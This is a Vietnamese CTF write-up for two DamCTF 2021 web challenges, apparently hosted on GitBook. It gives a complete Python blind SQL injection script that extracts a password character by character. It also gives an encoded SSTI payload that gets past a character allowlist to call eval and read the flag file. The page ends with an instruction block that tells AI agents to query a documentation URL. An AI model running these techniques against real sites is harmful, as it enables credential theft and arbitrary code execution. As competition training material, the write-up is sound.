# DamCTF-2021

## [bouncy-box](#bouncy-box)

Dạng bài: sqli

Bắt đầu challenge, chúng ta sẽ thấy một form đăng nhập:

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2F1ovKOQ83wwmYnB5in6mk%2Fimage.png?alt=media\&token=a419672f-fa9c-4a16-be8b-f06bb1ccf1f6)

Ở bước này, chúng ta có thể thực hiện sql injection bằng một payload đơn giản:

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2FGAgdlWB2OFb5010gxzfb%2Fimage.png?alt=media\&token=1f891c2a-791e-444c-a8d5-e43fd0e3633f)

Thử click vào free flag, và tất nhiên không thể get flag, đời không như mer. Lại một form đăng nhập nữa mình hiện ra:

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2F7DlwCgaiU7PPuWyjPShI%2Fimage.png?alt=media\&token=06d1bec7-5477-469f-91cb-a1da50232d57)

Mình thử một vài payload sqli cơ bản nhưng không có gì bất thường, có lẽ chúng ta cần phải lấy được password để đăng nhập. But how??

Câu trả lời nằm ở form đăng nhập đầu tiên, ở đây chúng ta có thể sử dụng blind sqli lên form đăng nhập đầu tiên để lấy mật khẩu:

**Code cùi bắp để lấy password do mình viết:**

```
import requests, string

url ='https://bouncy-box.chals.damctf.xyz/login'
length = 0
password=''

#Find length of password:
for i  in range(1,50):
	r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or length(password)='{i}'#"})
	if "boxy_mcbounce's Stats" in r.text:
		length = i
		print("length of password: ",length)
		break

#Find password:
for i in range(1,length+1):
	for s in string.printable:
		r = requests.post(url,data={'username_input':'boxy_mcbounce',"password_input":f"' or substr(password,{i},1)='{s}'#"})
		if "boxy_mcbounce's Stats" in r.text:
			print(s)
			password += s
			break
print('Password: ',password)

```

Kết quả:

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2FzyqFnpolSYHbQn7DCuDz%2Fimage.png?alt=media\&token=072df9e6-b344-4118-b979-ecbd543d1231)

Thực hiện đăng nhập với password vừa tìm được và username là `boxy_mcbounce` và get flag.

***Flag: dam{b0uNCE\_B0UNcE\_b0uncE\_B0uNCY\_B0unce\_b0Unce\_b0Unc3}***

## [super-secure-translation-implementation](#super-secure-translation-implementation)

#### Dạng bài: SSTI

Docker file:

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2FsoNTW4GJB0zlytYLUd9K%2Fimage.png?alt=media\&token=21d06da4-f79d-4d8f-99e1-6c57a0542c68)

Theo như docker file thì chúng ta đều có thể xem được nội dung của file app.py, check.py, filters.py và limit.py

**check.py:**

```
from limit import is_within_bounds, get_golf_limit


def allowlist_check(payload, allowlist):
    # Check against allowlist.
    print(f"Starting Allowlist Check with {payload} and {allowlist}")
    if set(payload) == set(allowlist) or set(payload) <= set(allowlist):
        return payload
    print(f"Failed Allowlist Check: {set(payload)} != {set(allowlist)}")
    return "Failed Allowlist Check, payload-allowlist=" + str(
        set(payload) - set(allowlist)
    )


def detect_remove_hacks(payload):
    # This effectively destroyes all web attack vectors.
    print(f"Received Payload with length:{len(payload)}")

    if not is_within_bounds(payload):
        return f"Payload is too long for current length limit of {get_golf_limit()} at {len(payload)} characters. Try locally."

    allowlist = [
        "c",
        "{",
        "}",
        "d",
        "6",
        "l",
        "(",
        "b",
        "o",
        "r",
        ")",
        '"',
        "1",
        "4",
        "+",
        "h",
        "u",
        "-",
        "*",
        "e",
        "|",
        "'",
    ]
    payload = allowlist_check(payload, allowlist)
    print(f"Allowlist Checked Payload -> {payload}")

    return payload

```

**filters.py**

```
import base64


def uppercase(x):
    return x.upper()


def lowercase(x):
    return x.lower()


def b64d(x):
    return base64.b64decode(x)


def order(x):
    return ord(x)


def character(x):
    return chr(x)


def e(x):
    # Security analysts reviewed this and said eval is unsafe (haters).
    # They would not approve this as "hack proof" unless I add some
    # checks to prevent easy exploits.

    print(f"Evaluating: {x}")

    forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]

    for y in forbidlist:
        if y in x:
            return "Eval Failed: Foridlist."

    if x[0:4] == "open" or x[0:4] == "eval":
        return "Not That Easy ;)"

    try:
        return eval(x)
    except Exception as exc:
        return f"Eval Failed: {exc}"

```

**limit.py:**

```
import time

from rctf import golf


def get_golf_limit() -> int:
    rctf_host = "https://damctf.xyz/"
    challenge_id = "super-secure-translation-implementation"
    ctf_start = 1636156800
    limit_function = lambda x: (x * 2) + 147

    limit = golf.calculate_limit(rctf_host, challenge_id, ctf_start, limit_function)
    return limit


def is_within_bounds(payload: str) -> bool:

    return len(payload) <= get_golf_limit()

```

Ngoài ra file docker còn cho chúng ta biết được là flag đang ở /flag

Nhìn vào file filters.py, trong hàm e chúng ta sẽ thấy sự xuất hiện của eval().

Mục tiêu của chúng ta là gọi được eval, sau đó thực hiện: `open('/flag').read()`

kiểm tra trong file check.py, chỉ có nhưng kí tự trong allowlist được phép sử dụng.

Nhưng trong payload của chúng ta sử dụng có những kí tự không được phép: p, n, /, f, a, g, ., r

Lúc này chúng ta có thể sử dụng hàm character trong filters để đổi từ giá trị hex sang ascii để lấy kí tự mong muốn. (Ở đây có một lưu ý là chỉ có số 6, 1, 4 là được phép sử dụng).

> p = chr(112) = chr(66+46)
>
> n = chr(110) = chr(66+44)
>
> / = chr(47) = chr(46+1)
>
> f = chr(102) = chr(44+46+6+6)
>
> a = chr(97) = chr(16\*6+1)
>
> g = chr(103) = chr(16\*6+6+1)
>
> . = chr(46)
>
> r = chr(114)

Vậy:

```
open("flag.txt").read() 
'o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()'

```

Nhưng trong hàm `e` kiểm tra xem 4 kí tự đầu tiên của tham số truyền vào có phải là open hay không. Nếu là open thì việc gọi eval sẽ thất bại. Vậy nên chúng ta cần sửa đổi một tý để payload trở thành:

```
(open)("flag.txt").read()
'(o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b')'%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()'
```

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2FUFWyrdpFkGcBBWSz5E2i%2Fimage.png?alt=media\&token=407e6247-6b09-4aa7-8ff6-cabe2aba587c)

Cuối cùng, gọi hàm e để call eval:

```
eval((open)("flag.txt").read())
('(o'%2b(66%2b46)|ch%2b'e'%2b(66%2b44)|ch%2b')'%2b'("'%2b(46%2b1)|ch%2b(16*6%2b6)|ch%2b'l'%2b(16*6%2b1)|ch%2b(16*6%2b6%2b1)|ch%2b'")'%2b(46)|ch%2b(114)|ch%2b'e'%2b(16*6%2b1)|ch%2b'd()')|e
```

![](https://3988928172-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F18Xd0xa2XUhryqgx9yEk%2Fuploads%2FX4vdkuHHpByj06kqc0hW%2Fimage.png?alt=media\&token=7186533e-3b62-4268-a140-d9025cca9724)

***Flag: dam{p4infu1\_all0wl1st\_w3ll\_don3}***

### ***Thank you for your reading!***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dyn20.gitbook.io/writeup-ctf/ctf-events/damctf-2021.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
